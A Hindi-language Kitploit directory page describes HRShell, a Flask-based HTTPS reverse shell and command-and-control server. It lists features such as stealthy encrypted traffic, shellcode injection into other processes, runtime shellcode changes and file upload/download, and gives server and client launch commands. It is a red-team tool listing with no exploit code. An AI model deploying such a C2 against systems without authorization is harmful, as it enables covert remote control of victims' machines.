Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
HRShell — HRShell फ्लास्क के साथ निर्मित एक HTTPS/HTTP रिवर्स शेल है। यह कई सुविधाओं और क्षमताओं वाला एक उन्नत C2 सर्वर है। | Kitploit
उपकरण/GitHubGitHub/chrispetrou/hrshell
एन्क्रिप्शन/डिक्रिप्शन उपकरणशोषणरिवर्स इंजीनियरिंगशेलकोडपोस्ट-शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगपेलोड डेवलपमेंटArchived
24869255 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
chrispetrou/hrshell

HRShell

HRShell फ्लास्क के साथ निर्मित एक HTTPS/HTTP रिवर्स शेल है। यह कई सुविधाओं और क्षमताओं वाला एक उन्नत C2 सर्वर है।

रिपॉजिटरी देखें
HRShell: Flask के साथ निर्मित एक उन्नत HTTP(S) रिवर्स शेल

GPLv3 license version Known Vulnerabilities



HRShell एक HTTPS/HTTP रिवर्स शेल है जो Flask के साथ बनाया गया है और python 3.x के साथ संगत है। client.py का सफलतापूर्वक परीक्षण निम्नलिखित पर किया गया है:

  • Linux ubuntu 18.04 LTS, Kali Linux 2019.3
  • macOS Mojave/Catalina
  • Windows 7/10

जबकि server.py Unix सिस्टम के साथ संगत है (Windows समर्थन जल्द ही आ रहा है...)

विशेषताएं

  • यह गुप्त (stealthy) है
  • TLS समर्थन 🔑
    • या तो ऑन-द-फ्लाई प्रमाणपत्रों का उपयोग करके या
    • एक cert/key जोड़ी निर्दिष्ट करके (अधिक विवरण नीचे...)
  • शेलकोड इंजेक्शन 💉 (अधिक विवरण नीचे...)
    • या तो वर्तमान चल रही प्रक्रिया के थ्रेड/स्पॉन किए गए प्रक्रिया में शेलकोड इंजेक्शन
      • अब तक समर्थित प्लेटफ़ॉर्म:
        • Windows x86
        • Unix x86
        • Unix x64
    • या किसी अन्य प्रक्रिया में शेलकोड इंजेक्शन (migrate <PID>) उसके PID निर्दिष्ट करके
      • अब तक समर्थित प्लेटफ़ॉर्म:
        • Windows x86
        • Windows x64
  • शेलकोड को सर्वर से चालू अवस्था में सेट/संशोधित किया जा सकता है (अधिक विवरण नीचे...)
  • क्लाइंट पर प्रॉक्सी समर्थन।
  • डायरेक्टरी नेविगेशन (cd कमांड और वेरिएंट)।
  • Unix सिस्टम पर इंटरैक्टिव history कमांड उपलब्ध।
  • download/upload/screenshot/hex कमांड उपलब्ध।
  • पाइपलाइनिंग (|) और श्रृंखलित कमांड (;) समर्थित हैं
  • सभी गैर-इंटरैक्टिव (जैसे gdb, top आदि) कमांड के लिए समर्थन
  • सर्वर HTTP और HTTPS दोनों में सक्षम है।
  • यह अब तक दो अंतर्निहित सर्वरों 🌐 के साथ आता है... flask built-in और tornado-WSGI जबकि यह अन्य प्रोडक्शन सर्वरों जैसे gunicorn और Nginx के साथ भी संगत है।
  • server.py और client.py दोनों आसानी से विस्तार योग्य हैं।
  • चूंकि अधिकांश कार्यक्षमता सर्वर के एंडपॉइंट-डिज़ाइन से आती है, इसलिए किसी भी अन्य भाषा जैसे java, GO आदि में क्लाइंट लिखना बहुत आसान है।

*संस्करण परिवर्तनों के लिए CHANGELOG देखें।

विवरण


गुप्त (Stealthy) :shipit:

HRShell गुप्त है क्योंकि यह क्लाइंट और सर्वर के बीच संचार की विधि के रूप में HTTP(S) प्रोटोकॉल का उपयोग करता है। इसके अतिरिक्त जब TLS उपयोग में होता है तो ट्रैफ़िक भी एन्क्रिप्टेड होता है। साथ ही यदि CERT क्लाइंट-साइड पर हार्ड-कोडेड नहीं है (जो एक संभव विकल्प है) और upload कमांड का उपयोग नहीं किया जाता है, तो client.py डिस्क को बिल्कुल स्पर्श नहीं करता है।

TLS 🔑

सर्वर-साइड: जब तक --http विकल्प निर्दिष्ट नहीं किया जाता है, डिफ़ॉल्ट रूप से server.py ऑन-द-फ्लाई प्रमाणपत्रों का उपयोग करके HTTPS है, क्योंकि ऑन-द-फ्लाई प्रमाणपत्र एक अंतर्निहित Flask-सुविधा हैं। लेकिन यदि सर्वर को TLS का उपयोग करने के लिए -s tornado विकल्प निर्दिष्ट किया गया है, तो --cert और --key विकल्पों को इस प्रकार निर्दिष्ट किया जाना चाहिए:

python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

या तो "वास्तविक" प्रमाणपत्रों का उपयोग किया जा सकता है या cert/key जोड़ी उत्पन्न करने का दूसरा तरीका उदा. mkcert या openssl का सीधे उपयोग करना है जैसे:

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

एक cert/key जोड़ी का उपयोग Flask-सर्वर के साथ भी किया जा सकता है:

python server.py --cert /path/cert.pem --key /path/key.pem

⚠️ यदि सर्वर TLS का उपयोग कर रहा है, तो डिज़ाइन के अनुसार क्लाइंट सर्वर से कनेक्ट करने के लिए http://... का उपयोग नहीं कर सकता है, बल्कि उसे स्पष्ट रूप से https का उपयोग करना होगा।

क्लाइंट-साइड: डिफ़ॉल्ट रूप से क्लाइंट का SSL सत्यापन अक्षम है, जब तक:

  • या तो --cert पैरामीटर निर्दिष्ट किया गया हो उदा.:
    python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
    
  • या CERT वेरिएबल, डिफ़ॉल्ट None मान के बजाय, पहले से एक मान्य प्रमाणपत्र के साथ सेट किया गया हो उदा.:
    CERT = """
    -----BEGIN CERTIFICATE-----
    MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
    BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
    VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
    ...
    -----END CERTIFICATE-----
    """
    
    इस स्थिति में client.py चालू अवस्था में एक छिपी हुई .cert.pem फ़ाइल बनाने का प्रयास करेगा और उसका उपयोग करेगा।

⚠️ कि क्लाइंट पर SSL सत्यापन डिफ़ॉल्ट रूप से अक्षम है, इसका किसी भी स्थिति में यह मतलब नहीं है कि TLS भी अक्षम है, TLS सक्षम होगा यदि सर्वर इसका उपयोग करता है - इसलिए TLS पूरी तरह से सर्वर पर निर्भर करता है। --cert विकल्प क्लाइंट पर सर्वर-क्लाइंट के लिए एक एन्क्रिप्टेड सत्र होने के वैकल्पिक तरीके के रूप में है और बस इतना ही।

शेलकोड इंजेक्शन 💉

शेलकोड इंजेक्शन के दो "मोड" हैं जो क्रमशः निम्नलिखित दो कमांड का उपयोग करते हैं:

  1. migrate <PID>: इस कमांड का उपयोग करके हम किसी अन्य प्रक्रिया के मेमोरी स्पेस में उसका PID निर्दिष्ट करके शेलकोड इंजेक्ट कर सकते हैं। अभी के लिए यह कमांड केवल Windows x86/x64 प्लेटफ़ॉर्म पर लागू किया जा सकता है!
  1. inject shellcode: इस कमांड का उपयोग करके हमारी वर्तमान प्रक्रिया का एक नया थ्रेड (या Unix सिस्टम पर स्पॉन की गई प्रक्रिया) बनाया जाता है और शेलकोड इंजेक्शन उसके मेमोरी स्पेस में होता है। परिणामस्वरूप, हमारा HTTP(S) शेल इंजेक्शन से प्रभावित नहीं होता है। जिन प्लेटफ़ॉर्मों पर यह कमांड लागू किया जा सकता है वे हैं: Unix x86/x64, Windows x86 प्लेटफ़ॉर्म!
नोट्स
  • यदि इंजेक्शन किसी प्रक्रिया पर होता है, तो प्रक्रिया-अनुमतियाँ एक बहुत महत्वपूर्ण भूमिका निभाती हैं। उपयुक्त विशेषाधिकारों की कमी के कारण किसी भी प्रक्रिया पर इंजेक्ट करना हमेशा संभव नहीं होता है।

शेलकोड सेट/संशोधित करें

दो तरीके हैं जिनसे आप निर्दिष्ट/सेट कर सकते हैं कि आप क्लाइंट को किस प्रकार का शेलकोड निष्पादित करना चाहते हैं:

  • या तो client.py स्क्रिप्ट पर shellcode वेरिएबल को एक मान्य शेलकोड के रूप में प्री-सेट करें या
  • चालू अवस्था में ऐसा करने के लिए set shellcode <shellcode-id> कमांड का उपयोग करें। इस कमांड से आप सर्वर-साइड से क्लाइंट-साइड पर अपने शेलकोड को जितनी बार चाहें अपडेट कर सकते हैं!
टूल डाउनलोड करें